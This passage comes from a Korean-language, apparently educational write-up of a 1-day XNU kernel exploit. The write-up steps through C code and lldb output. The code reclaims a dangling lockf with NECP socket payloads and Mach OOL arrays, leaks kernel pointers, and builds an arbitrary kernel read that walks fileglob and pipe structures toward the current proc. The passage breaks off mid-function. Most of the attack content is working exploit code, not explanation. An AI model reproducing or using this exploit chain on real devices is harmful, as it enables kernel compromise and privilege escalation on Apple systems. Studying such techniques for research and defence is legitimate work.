src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_10.15.07.excalidraw-fs8.png\" alt=\"Drawing 2026-07-30 10.15.07.excalidraw-fs8.png\"><\/p>\n<p><code>prepare_socket_lockf_pair<\/code>\uc5d0\uc11c <code>while(1)<\/code> \ub8e8\ud504\ubb38\uc5d0 \uc788\ub294 <code>read_necp_domain<\/code> \ub97c \ucd5c\ucd08 \ud638\ucd9c\uc2dc\uc5d0\uc11c\uc758 \uc0c1\ud669\uc744 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<pre><code class=\"language-c\">int read_necp_domain(\n    int necp_socket,\n    uint8_t payload[NECP_DOMAIN_PAYLOAD_SIZE],\n    uint32_t *domain_length)\n{\n    uint8_t option[0x103] = {0};\n    socklen_t option_length = (socklen_t)sizeof(option);\n    uint32_t length = 0;\n\n    if (payload == NULL || domain_length == NULL) {\n        errno = EINVAL;\n        return -1;\n    }\n\n    if (getsockopt(\n            necp_socket,\n            SOL_SOCKET,\n            SO_NECP_ATTRIBUTES,\n            option,\n            &amp;option_length) != 0) {\n        return -1;\n    }\n\n    if (option_length &lt; 5 || option[0] != NECP_TLV_ATTRIBUTE_DOMAIN) {\n        errno = EPROTO;\n        return -1;\n    }\n\n    memcpy(&amp;length, option + 1, sizeof(length));\n    if (length == 0 ||\n        length &gt; NECP_DOMAIN_PAYLOAD_SIZE ||\n        option_length &lt; (socklen_t)(5 + length)) {\n        errno = EPROTO;\n        return -1;\n    }\n\n    memset(payload, 0, NECP_DOMAIN_PAYLOAD_SIZE);\n    memcpy(payload, option + 5, length);\n    *domain_length = length;\n    return 0;\n}\n\nint prepare_socket_lockf_pair(int lock_fd, \n    struct minimal_thread_message_channel *channel, \n    int socket0, int socket1, \n    uint64_t initial_read_address, uint64_t *socket1_domain_kaddr_out)\n{\n    \/\/...\n\n    while (1) {\n        if (read_necp_domain(socket0, observed_payload, &amp;observed_length) != 0) {\n            return -1;\n        }\n\n        \/* Initial strlen is 48.  A nonzero 8-byte C-&gt;lf_next makes it 56. *\/\n        if (observed_length &gt;= LOCK_PROBE_LINK_OFFSET + sizeof(uint64_t)) {             \/\/ TRIGGERED\n            memcpy(&amp;socket1_domain_kaddr, observed_payload + LOCK_PROBE_LINK_OFFSET, sizeof(socket1_domain_kaddr));\n            break;\n        } \n<\/code><\/pre>\n<p><code>read_necp_domain<\/code> \uc5d0\uc11c \ubc18\ud658\ub418\ub294 \uac12\uc740 \ucee4\ub110\uc758 <code>necp_get_socket_attributes<\/code>\uc5d0\uc11c \ud638\ucd9c\ub418\ub294 <code>strlen()<\/code>\uc5d0 \ub530\ub77c \uacb0\uc815\ub418\uba70, \ub2e4\uc74c\uacfc \uac19\uc774 2\uac00\uc9c0 \ucf00\uc774\uc2a4\uac00 \uc874\uc7ac\ud55c\ub2e4.<\/p>\n<h4>1. \ubc18\ud658\uac12\uc774 0x37 \uc774\ud558\uc778 \uacbd\uc6b0 (fake lockf C\uc758 lf_next \ud3ec\uc778\ud130 \uc8fc\uc18c\uac00 \uc628\uc804\ud788 \uc720\ucd9c\ub418\uc9c0 \ubabb\ud558\ub294 \ucf00\uc774\uc2a4)<\/h4>\n<p>fake lock C\uc5d0\uc11c <code>lf_next<\/code> \ud3ec\uc778\ud130 \uc8fc\uc18c\uac12 \uc911\uc5d0 0x00 NULL-byte\uac00 \ucd94\uac00\ub418\ub294 \uacbd\uc6b0\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_11.30.19.excalidraw-fs8.png\" alt=\"Drawing 2026-07-30 11.30.19.excalidraw-fs8.png\"><\/p>\n<p>\uc774\ub807\uac8c \ub418\uba74 lockf B0 \uc8fc\uc18c\ub97c \uc628\uc804\ud558\uac8c \uac00\uc838\uc624\uc9c0 \ubabb\ud55c\ub2e4.<\/p>\n<p>\uc774\ud6c4\uc5d0\ub294, <code>set_posix_lock<\/code>, <code>send_one_thread_channel_message<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\ub294 \ucf54\ub4dc\ub97c \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<p><code>set_posix_lock<\/code> \uc5d0 \uc758\ud574 <code>B1[99, 101]<\/code> lockf\uac00 \uc0c8\ub85c \uc0dd\uc131\ub41c\ub2e4.<\/p>\n<p>B1\uc740 \uae30\uc874\uc758 <code>B0[100,100]<\/code>\uc744 \uc644\uc804\ud788 \ud3ec\ud568\ud558\uae30 \ub54c\ubb38\uc5d0, \uacb0\uacfc\uc801\uc73c\ub85c lock list\ub294\n<code>A[10,14] -&gt; C[socket0 DOMAIN, fake lockf] -&gt; new B1[99,101] -&gt; NULL<\/code> \uc774 \ub41c\ub2e4.<\/p>\n<p>\ud574\uc81c\ub41c B0\ub294 OOL \ubc30\uc5f4\ub85c pin\ub418\uac8c\ub054 \ub9cc\ub4e4\uae30 \uc704\ud574 <code>send_one_thread_channel_message<\/code> \ub97c \uc218\ud589\ud55c\ub2e4. \ub2e4\uc2dc\ub294 NULL-byte\uac00 \uc874\uc7ac\ud558\ub294 \uc8fc\uc18c\ub85c \ud560\ub2f9\ub418\uc9c0 \ubabb\ud558\uac8c\ub054 \ub9cc\ub4e4\uae30 \uc704\ud574 \uc218\ud589\ud558\ub294 \uac83\uc73c\ub85c \ubcf4\uc778\ub2e4.<\/p>\n<pre><code class=\"language-c\">int set_posix_lock(int fd, short type, off_t start, off_t length)\n{\n    struct flock fl = {\n        .l_start = start,   \n        .l_len = length, \n        .l_pid = 0,\n        .l_type = type, \n        .l_whence = SEEK_SET,\n    };\n\n    return fcntl(fd, F_SETLK, &amp;fl);\n}\n\n\/*\n * Queue one 12-entry OOL-port descriptor and leave it pending.  On arm64 the\n * kernel-side ipc_object_t array is 12 * 8 == 0x60 bytes, so it pins the\n * lockf slot freed by the preceding widening POSIX lock.\n *\/\nkern_return_t send_one_thread_channel_message(\n    struct minimal_thread_message_channel *channel)\n{\n    struct default_msg message;\n\n    if (channel == NULL || channel-&gt;receive_port_count == 0) {\n        return KERN_INVALID_ARGUMENT;\n    }\n\n    message = channel-&gt;ool_template;\n    message.header.msgh_remote_port = channel-&gt;receive_ports[0];\n    message.header.msgh_local_port = MACH_PORT_NULL;\n    message.header.msgh_voucher_port = MACH_PORT_NULL;\n\n    return mach_msg(\n        &amp;message.header,\n        MACH_SEND_MSG | MACH_SEND_NOIMPORTANCE,\n        message.header.msgh_size,\n        0,\n        MACH_PORT_NULL,\n        MACH_MSG_TIMEOUT_NONE,\n        MACH_PORT_NULL);\n}\n\nint prepare_socket_lockf_pair(int lock_fd, \n    struct minimal_thread_message_channel *channel, \n    int socket0, int socket1, \n    uint64_t initial_read_address, uint64_t *socket1_domain_kaddr_out)\n{\n\/\/ ...\n        --lock_start;\n        lock_length += 2;\n        if (set_posix_lock(lock_fd, F_RDLCK, lock_start, lock_length) != 0) {\n            return -1;\n        }\n\n        if (send_one_thread_channel_message(channel) != KERN_SUCCESS) {\n            errno = EIO;\n            return -1;\n        }\n\n        \/* Match the recovered loop's lower bound; it does not guess B. *\/\n        if (lock_start == LOCK_PROBE_LAST_START) {\n            errno = EFAULT;\n            return -1;\n        }\n\/\/ ...\n{\n<\/code><\/pre>\n<p>\uc2e4\uc81c\ub85c \ud655\uc778\ud574\ubcf4\uba74, \ubc29\uae08 \ud574\uc81c\ub41c lock B0\uac00 OOL \ubc30\uc5f4\ub85c pin\ub418\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\uace0,\n\ub354\uc774\uc0c1 lock C\uc5d0\uc11c lf_next \ud3ec\uc778\ud130\uac12\uc5d0 NULL-byte\uac00 \uc874\uc7ac\ud558\uc9c0 \uc54a\uac8c \ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw-fs8.png\"><\/p>\n<h4>2. \ubc18\ud658\uac12\uc774 0x38\uc778 \uacbd\uc6b0 (fake lockf C\uc758 lf_next \ud3ec\uc778\ud130 \uc8fc\uc18c\uac00 \uc628\uc804\ud788 \uc720\ucd9c \uac00\ub2a5\ud55c \ucf00\uc774\uc2a4)<\/h4>\n<p>\uc6b4\uc774 \uc88b\ub2e4\uba74, \ucc98\uc74c\ubd80\ud130 fake lock C\uc5d0\uc11c <code>lf_next<\/code> \ud3ec\uc778\ud130 \uc8fc\uc18c\uac12\uc5d0 NULL-byte\uac00 \uc874\uc7ac\ud558\uc9c0 \uc54a\uac8c\ub418\uc5b4,\nlockf B0 \uc8fc\uc18c\ub97c \ub204\ucd9c\uc2dc\ud0ac \uc218\ub3c4 \uc788\uc744 \uac83\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw_1-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw 1-fs8.png\"><\/p>\n<p>\uc774\uc81c <code>prepare_socket_lockf_pair<\/code>\uc5d0\uc11c\uc758 <code>while(1)<\/code> \ub8e8\ud504\ubb38\uc744 \ube60\uc838\ub098\uac04 \ub2e4\uc74c \ucf54\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uc790.\n\ub204\ucd9c\ub41c socket1_domain_kaddr, \uc989 B\uc758 flock \uc8fc\uc18c\uac00 \uc81c\ub300\ub85c \ub204\ucd9c\ub418\uc5c8\ub294\uc9c0 \ud655\uc778\ud55c\ub2e4.<\/p>\n<p><code>lock_start<\/code>\ub97c \uac10\uc18c\uc2dc\ud0a4\uace0, <code>lock_length<\/code>\ub97c \uc99d\uac00\uc2dc\ucf1c \uc0c8\ub85c\uc6b4 \ub77d\uc744 \uc0dd\uc131\ud558\ub3c4\ub85d <code>set_posix_lock<\/code> \uc744 \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">    if (!looks_like_kernel_pointer(socket1_domain_kaddr)) {\n        errno = EFAULT;\n        return -1;\n    }\n\n    \/* Free B, but deliberately do not pin it with another OOL allocation. *\/\n    if (set_posix_lock(lock_fd, F_RDLCK, lock_start - 1, lock_length + 2) != 0) {\n        return -1;\n    }\n<\/code><\/pre>\n<p>\uc0c8\ub85c\uc6b4 lock\uc744 \u201cD\u201d\ub77c\uace0 \uba85\uba85\ud558\uaca0\ub2e4. \uc2e4\ud589 \uacb0\uacfc, lock B0\ub294 \ud574\uc81c\ub41c\ub2e4.<\/p>\n<p>lock list\ub294\n<code>A[10,14] -&gt; C[socket0 DOMAIN, fake lockf] -&gt; new D[99,101] -&gt; NULL<\/code> \uc774 \ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw_1_1-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw 1 1-fs8.png\"><\/p>\n<p>\ub2e4\uc74c\uc73c\ub85c, socket0\uacfc socket1\uc744 \uc774\uc6a9\ud574\uc11c lockf C\uc640 lockf B0\uc744 \uc784\uc758\ub85c \uc81c\uc5b4\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">int install_socket_lockf_pair(int socket0, int socket1, uint64_t socket1_domain_kaddr, uint64_t initial_read_address)\n{\n    uint8_t socket0_payload[NECP_DOMAIN_PAYLOAD_SIZE] = {0};\n    uint8_t socket1_payload[NECP_DOMAIN_PAYLOAD_SIZE] = {0};\n    uint64_t marker = 0x2222222222221111ULL;\n    uint64_t vnode_value = socket1_domain_kaddr + 8;\n    uint64_t next_value = socket1_domain_kaddr - 8;\n\n    \/* The final widening lock just freed this slot; socket1 claims it first. *\/\n    make_socket1_lockf_payload(socket1_payload, initial_read_address);\n    if (allocate_necp_domain(socket1, socket1_payload) != 0) {\n        return -1;\n    }\n\n    \/*\n     * Rebuild dangling C on socket0.  C itself starts just after the GETLK\n     * query, while C-&gt;lf_next points eight bytes before socket1's allocation.\n     *\/\n    memcpy(socket0_payload + 0x00, &amp;marker, sizeof(marker));\n    memcpy(socket0_payload + 0x08, &quot;33333333DDDDDDDDUUUUUUUUffffffff&quot;, 32);\n    memcpy(socket0_payload + 0x28, &amp;vnode_value, sizeof(vnode_value));\n    memcpy(socket0_payload + 0x30, &amp;next_value, sizeof(next_value));\n\n    if (clear_necp_domain(socket0) != 0) {\n        return -1;\n    }\n\n    return allocate_necp_domain(socket0, socket0_payload);\n}\n\n...\n\n    if (install_socket_lockf_pair(socket0, socket1, socket1_domain_kaddr, initial_read_address) != 0) {\n        return -1;\n    }\n\n    *socket1_domain_kaddr_out = socket1_domain_kaddr;\n    return 0;\n}\n<\/code><\/pre>\n<p>fake lockf C\uc5d0\ub294 \ub05d\ubd80\ubd84\uc5d0 socket1_domain_kaddr+8, socket1_domain_kaddr-8(lockf B0+8, lockf B0-8)\ub85c \uac01\uac01 \ub36e\uc5b4\uc4f4\ub2e4.<\/p>\n<p>fake lockf B0\uc5d0\ub294 \ub05d\ubd80\ubd84\uc5d0 <code>const uint64_t fake_proc = read_address - XNU7195_PROC_PID_OFFSET;<\/code> \ucf54\ub4dc\uc5d0 \uc758\ud574 <code>fake_proc<\/code>\uc73c\ub85c \ub36e\uc5b4\uc4f4\ub2e4. <code>fake_proc<\/code>\uc740 \uace7 , <code>readpipe_ipc_port_kptr<\/code>\uc5d0\uc11c \uc77d\uc740 \uac12\uc744 \uc5bb\uae30 \uc704\ud574\uc11c\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">const uint64_t first_read_address = readpipe_ipc_port_kptr + XNU7195_PROC_PID_OFFSET;\nconst uint64_t fake_proc = first_read_address - XNU7195_PROC_PID_OFFSET;\n<\/code><\/pre>\n<p>lockf D\ub294 \uace0\ub9bd\ub418\ub294\ub370, lockf C\uc5d0\uc11c \ub354\uc774\uc0c1 lockf D\ub97c \ucc38\uc870\ud558\uc9c0 \uc54a\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw_1_1_1-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw 1 1 1-fs8.png\"><\/p>\n<h3>7. \uc784\uc758 \uc8fc\uc18c \ucee4\ub110 \uc77d\uae30, \uccab \uc2dc\ub3c4<\/h3>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-08-07_at_2.35.51_PM.png\" alt=\"Screenshot 2026-08-07 at 2.35.51\u202fPM.png\"><\/p>\n<p>socket1\uc744 \uc81c\uc5b4\ud558\uc5ec \uc77d\ud790 \uc8fc\uc18c\uc778 <code>readpipe_ipc_port_kptr+0x68<\/code> \uc774 \ub2f4\uae34 \ud398\uc774\ub85c\ub4dc\ub97c \ub9c8\ub828\ud55c\ub2e4.<\/p>\n<p><code>ofd_get_lock<\/code>\uc73c\ub85c 32\ube44\ud2b8 \ucee4\ub110 \uc8fc\uc18c\ub97c \uc77d\uc744 \uc218 \uc788\uc73c\uba70, <code>readpipe_ipc_port_kptr+0x68<\/code> \uc8fc\uc18c\ub97c \uc77d\ub294\ub2e4.<\/p>\n<pre><code class=\"language-c\">...\n    uint32_t readpipe_fileglob_low32 = 0;\n    if (kernel_read32_via_proc_pid(urandom_fd, socket_fd[1], first_read_address, &amp;readpipe_fileglob_low32) != 0) {\n        printf(&quot;[-] kernel_read32_via_proc_pid failed: %s(%d)\\n&quot;, strerror(errno), errno);\n        return -1;\n    }\n    \n...\n\n\/* Stage 6: retarget socket1 and return *(uint32_t *)read_address via l_pid. *\/\nint kernel_read32_via_proc_pid(int lock_fd, int socket1, uint64_t read_address, uint32_t *value_out)\n{\n    uint8_t socket1_payload[NECP_DOMAIN_PAYLOAD_SIZE] = {0};\n    struct flock fl;\n\n    if (value_out == NULL || read_address &lt; XNU7195_PROC_PID_OFFSET) {\n        errno = EINVAL;\n        return -1;\n    }\n\n    make_socket1_lockf_payload(socket1_payload, read_address);\n\n    \/* Free\/reclaim the same persistent 0x60 slot for every read. *\/\n    if (clear_necp_domain(socket1) != 0 ||\n        allocate_necp_domain(socket1, socket1_payload) != 0) {\n        return -1;\n    }\n\n    if (ofd_get_lock(lock_fd, LOCK_PROBE_QUERY_START, LOCK_PROBE_QUERY_LENGTH, &amp;fl) != 0) {\n        return -1;\n    }\n\n    if (fl.l_type == F_UNLCK) {\n        errno = ENOENT;\n        return -1;\n    }\n\n    \/* XNU lf_getlock(): fl.l_pid = proc_pid(block-&gt;lf_owner). *\/\n    *value_out = (uint32_t)fl.l_pid;\n    return 0;\n}\n<\/code><\/pre>\n<p>ofd_get_lock\uc744 \uc218\ud589\ud560\ub54c \ubc94\uc704\ub294 <code>LOCK_PROBE_QUERY_START<\/code> \uc778 0x3333333333333300, <code>LOCK_PROBE_QUERY_LENGTH<\/code>\uc778 0x5\uc774\uae30 \ub54c\ubb38\uc5d0 fake lockf C\uc758 next lock\uc744 \ucc38\uc870\ud55c\ub2e4.<\/p>\n<p>\ud574\ub2f9 next lock\uc5d0\ub294 socket1\uc73c\ub85c \uc81c\uc5b4\ud588\ub358 \ub370\uc774\ud130\uc758 +0x58\uc5d0 <code>readpipe_pipe_ipc_kptr<\/code> \uc8fc\uc18c 8\ubc14\uc774\ud2b8\uac00 \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n<p>\ub9c8\uc9c0\ub9c9\uc73c\ub85c, \ud574\ub2f9 \uc8fc\uc18c\uc758 +0x68\uc744 \ub354\ud55c \uacf3\uc73c\ub85c\ubd80\ud130 \uac12\uc744 32\ube44\ud2b8\ub9cc\ud07c \uc77d\ub294\ub2e4.<\/p>\n<p>\uc77d\uc740 \uac12\uc740 \uc0c1\uc704 32\ube44\ud2b8\uac12\uacfc \uc870\ud569\ud558\uc5ec readpipe\uc758 fileglob \uad6c\uc870\uccb4 \uc8fc\uc18c\ub97c \uc758\ubbf8\ud558\ub294  <code>readpipe_fileglob_kptr<\/code>\uc744 \uc5bb\ub294\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw_1_1_1_1-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1-fs8.png\"><\/p>\n<h3>8. secondary read pipe\uc758 pipe_buffer.buffer \uc8fc\uc18c \uc5bb\uae30<\/h3>\n<p>\uc6b0\ub9ac\ub294 \uc9c0\uae08\uae4c\uc9c0 <code>pipe_fd_2[0]<\/code> \ub77c\ub294 \ub450\ubc88\uc9f8 pipe\uc758 \uc77d\uae30\uc6a9 \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130\ub97c <code>fileport_makeport<\/code> \ub97c \ud638\ucd9c\ud558\uc5ec fileport\ub85c \ubcc0\ud658\uc2dc\ucf30\ub2e4. \ud574\ub2f9 fileport\ub85c\ubd80\ud130 ipc port \ud3ec\uc778\ud130 \ucee4\ub110 \uc8fc\uc18c\ub97c \ub204\ucd9c\uc2dc\ucf30\uace0, ipc port \ud3ec\uc778\ud130 \ucee4\ub110 \uc8fc\uc18c(<code>readpipe_ipc_port_kptr<\/code>)\uc5d0\uc11c +0x68\uc744 \ub354\ud55c \uacf3\uc744 \ub2e4\uc2dc\ud55c\ubc88 \uc77d\uc5b4\uc11c fileglob \ud3ec\uc778\ud130 \uc8fc\uc18c(<code>readpipe_fileglob_kptr<\/code>)\ub97c \ud68d\ub4dd\ud558\uc600\ub2e4.<\/p>\n<p>fileglob \ud3ec\uc778\ud130 \uc8fc\uc18c\ub97c \ud68d\ub4dd\ud558\uba74, \uc544\ub798\uc640 \uac19\uc774 \uad6c\uc870\uccb4 \uc624\ud504\uc14b\uc744 \ub354\ud55c \uacf3\uc744 \ucc28\ub840\ub300\ub85c \uc77d\uc74c\uc73c\ub85c\uc368 \ud30c\uc774\ud504 \ub370\uc774\ud130\uac00 \ub4e4\uc5b4\uc788\ub294 \ubc84\ud37c \uc8fc\uc18c\uae4c\uc9c0 \uc5bb\uc744 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">fileglob+0x38 -&gt; struct pipe; pipe+0x10 -&gt; pipe_buffer.buffer.\n<\/code><\/pre>\n<pre><code class=\"language-c\">(lldb) type lookup fileglob\nstruct fileglob {\n    struct  {\n        fileglob *le_next;\n        fileglob **le_prev;\n    };\n    fileglob::(unnamed struct) f_msglist;\n    uint32_t fg_flag;\n    os_ref_atomic_t fg_count;\n    uint32_t fg_msgcount;\n    int32_t fg_lflags;\n    kauth_cred_t fg_cred;\n    const fileops *fg_ops;\n    off_t fg_offset;\n    void *fg_data;\n    void *fg_vn_data;\n    lck_mtx_t fg_lock;\n    label *fg_label;\n}\n(lldb) p\/x offsetof(fileglob, fg_data)\n(unsigned long) 0x0000000000000038\n(lldb) type lookup pipe\nstruct pipe {\n    pipebuf pipe_buffer;\n    selinfo pipe_sel;\n    pid_t pipe_pgid;\n    pipe *pipe_peer;\n    u_int pipe_state;\n    int pipe_busy;\n    lck_mtx_t *pipe_mtxp;\n    timespec st_atimespec;\n    timespec st_mtimespec;\n    timespec st_ctimespec;\n    label *pipe_label;\n\n(lldb) type lookup pipebuf\nstruct pipebuf {\n    u_int cnt;\n    u_int in;\n    u_int out;\n    u_int size;\n    __ptrauth(2,1,43904) caddr_t buffer;\n}\n(lldb) p\/x offsetof(pipe, pipe_buffer.buffer)\n(unsigned long) 0x0000000000000010\n<\/code><\/pre>\n<p>\ucf54\ub4dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p><code>kernel_read_pointer_via_socket<\/code> \ud568\uc218\ub294 \uc774\uc804\uc5d0 \uc0b4\ud3b4\ubd24\ub358 <code>kernel_read32_via_proc_pid<\/code> \ud568\uc218\ub97c \uc774\uc6a9\ud574\uc11c 32\ube44\ud2b8\uac12\uc744 \ub450\ubc88 \uc77d\uace0 \uc870\ud569\uc2dc\ucf1c 64\ube44\ud2b8\uac12\uc744 \uc644\uc131\uc2dc\ud0a8\ub2e4.<\/p>\n<pre><code class=\"language-c\">int kernel_read_pointer_via_socket(\n    int lock_fd,\n    int socket1,\n    uint64_t read_address,\n    uint64_t upper32_hint,\n    uint64_t *value_out)\n{\n    uint32_t low = 0;\n    uint32_t high = 0;\n    uint64_t value;\n\n    if (value_out == NULL) {\n        errno = EINVAL;\n        return -1;\n    }\n\n    if (kernel_read32_via_proc_pid(\n            lock_fd, socket1, read_address, &amp;low) != 0) {\n        return -1;\n    }\n\n    if ((upper32_hint &amp; 0xFFFFFFFF00000000ULL) != 0) {\n        *value_out =\n            (upper32_hint &amp; 0xFFFFFFFF00000000ULL) | low;\n        return 0;\n    }\n\n    if (kernel_read32_via_proc_pid(\n            lock_fd, socket1, read_address + 4, &amp;high) != 0) {\n        return -1;\n    }\n\n    value = low | ((uint64_t)high &lt;&lt; 32);\n    *value_out = normalize_a12_xnu7195_pointer(value);\n    return 0;\n}\n\n...\n\/\/ 8. secondary pipe backing \uc8fc\uc18c \ucc3e\uae30\n    uint64_t secondary_pipe_object_kptr = 0;\n    uint64_t secondary_pipe_backing_kptr = 0;\n\n    \/* fileglob+0x38 -&gt; struct pipe; pipe+0x10 -&gt; pipe_buffer.buffer. *\/\n    if (kernel_read_pointer_via_socket(\n            urandom_fd,\n            socket_fd[1],\n            readpipe_fileglob_kptr + XNU7195_FILEGLOB_DATA_OFFSET,\n            readpipe_fileglob_kptr,\n            &amp;secondary_pipe_object_kptr) != 0) {\n        printf(&quot;[-] failed to find secondary pipe object: %s(%d)\\n&quot;,\n            strerror(errno), errno);\n        return -1;\n    }\n    if (!looks_like_kernel_pointer(secondary_pipe_object_kptr)) {\n        printf(&quot;[-] invalid secondary pipe object: 0x%llX\\n&quot;,\n            secondary_pipe_object_kptr);\n        return -1;\n    }\n\n    if (kernel_read_pointer_via_socket(\n            urandom_fd,\n            socket_fd[1],\n            secondary_pipe_object_kptr + XNU7195_PIPE_BUFFER_OFFSET,\n            0,\n            &amp;secondary_pipe_backing_kptr) != 0) {\n        printf(&quot;[-] failed to find secondary pipe backing: %s(%d)\\n&quot;,\n            strerror(errno), errno);\n        return -1;\n    }\n    if (!looks_like_kernel_pointer(secondary_pipe_backing_kptr)) {\n        printf(&quot;[-] invalid secondary pipe backing: 0x%llX\\n&quot;,\n            secondary_pipe_backing_kptr);\n        return -1;\n    }\n\n    printf(&quot;[i] secondary pipe object = 0x%llX\\n&quot;,\n        secondary_pipe_object_kptr);\n    printf(&quot;[i] secondary pipe backing = 0x%llX\\n&quot;,\n        secondary_pipe_backing_kptr);\n        \n...\n<\/code><\/pre>\n<h3>9. socket0\uc744 \uc81c\uc5b4\ud558\uc5ec fake lockf C\uc758 lf_next\ub97c secondary readpipe \ubc84\ud37c \uc8fc\uc18c\uc640 \uc5f0\uacb0<\/h3>\n<p>secondary pipe backing(secondary read pipe\u2019s pipe_buffer.buffer) \uac12\uc744 \ud68d\ub4dd\ud588\ub2e4\uba74, socket0\uc744 \uc81c\uc5b4\ud558\uc5ec \ud574\ub2f9 \uac12\uc744 \ud3ec\ud568\ud558\uace0, lf_start=200, lf_end=204\uc778 fake lockf C\ub97c \ub2e4\uc2dc \ub9cc\ub4e0\ub2e4.<\/p>\n<pre><code class=\"language-c\">\n\/* Make dangling socket0 lock C=[200,204] point at the pipe backing. *\/\nint install_socket0_pipe_link(int socket0, uint64_t secondary_pipe_backing)\n{\n    uint64_t payload[NECP_DOMAIN_PAYLOAD_SIZE \/ sizeof(uint64_t)] = {0};\n\n    payload[1] = 200;\n    payload[2] = 204;\n    payload[6] = secondary_pipe_backing;\n\n    if (clear_necp_domain(socket0) != 0) {\n        return -1;\n    }\n\n    return allocate_necp_domain(socket0, (const uint8_t *)payload);\n}\n\n...\nif (install_socket0_pipe_link(\n            socket_fd[0], secondary_pipe_backing_kptr) != 0) {\n        printf(&quot;[-] failed to link socket0 to pipe backing: %s(%d)\\n&quot;,\n            strerror(errno), errno);\n        return -1;\n    }\n<\/code><\/pre>\n<p>\uc2e4\ud589 \uacb0\uacfc, \uc0ac\uc9c4\uc73c\ub85c\ub294 \ub2e4\uc74c\uacfc \uac19\uc774 \uad6c\uc131\ub41c\ub2e4.<\/p>\n<p>fake lockf C\uc758 <code>lf_next<\/code>\ub294 \uc774\uc81c secondary readpipe\uc758 <code>pipe_buffer.buffer<\/code>\ub97c \uac00\ub9ac\ud0a8\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw_1_1_1_1_1-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1-fs8.png\"><\/p>\n<h3>10. \ud30c\uc774\ud504 \ub370\uc774\ud130\ub97c \uc81c\uc5b4\ud558\uc5ec \uc548\uc815\uc801\uc778 \ucee4\ub110 \uc77d\uae30(<code>kernel_read_pointer_via_pipe_backing<\/code>)\ub97c \uc218\ud589\ud558\uba74\uc11c selfproc\uacfc fileproc \ucc3e\uae30<\/h3>\n<p>\ub2e4\uc74c\uc73c\ub85c, <code>find_current_proc_and_control_fileproc<\/code> \uc5d0\uc11c \uc218\ud589\ub418\ub294 fileproc\uacfc selfproc \uc8fc\uc18c\ub97c \ucc3e\ub294 \uacfc\uc815\uc744 \uc790\uc138\ud788 \uc0b4\ud3b4\ubcf4\uaca0\ub2e4.<\/p>\n<pre><code class=\"language-c\">    \/\/ 8. \ud604\uc7ac proc\uc640 control fileproc \ucc3e\uae30\n    uint64_t current_proc_kptr = 0;\n    uint64_t control_fileproc_kptr = 0;\n\n    if (find_current_proc_and_control_fileproc(\n            urandom_fd,\n            pipe_fd_2,\n            socket_fd[2],\n            &amp;current_proc_kptr,\n            &amp;control_fileproc_kptr) != 0) {\n        printf(&quot;[-] failed to find current proc\/control fileproc: %s(%d)\\n&quot;,\n            strerror(errno), errno);\n        return -1;\n    }\n<\/code><\/pre>\n<p>fake lockf C\uc758 <code>lf_next<\/code> \uc5d0\ub294 secondary readpipe \ubc84\ud37c\ub97c \uac00\ub9ac\ud0a4\uba70, \uc774\uc640 \ub3d9\uc2dc\uc5d0 readpipe \ubc84\ud37c\ub294 fake lockf\uac00 \ub41c\ub2e4. \ud574\ub2f9 fake lockf\ub294 <code>lf_start=300<\/code>, <code>lf_end=304<\/code>\ub85c \uc9c0\uc815\ud574\uc8fc\ub3c4\ub85d pipe write\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">int find_current_proc_and_control_fileproc(\n    int lock_fd,\n    const int pipe_fds[2],\n    int control_fd,\n    uint64_t *current_proc_out,\n    uint64_t 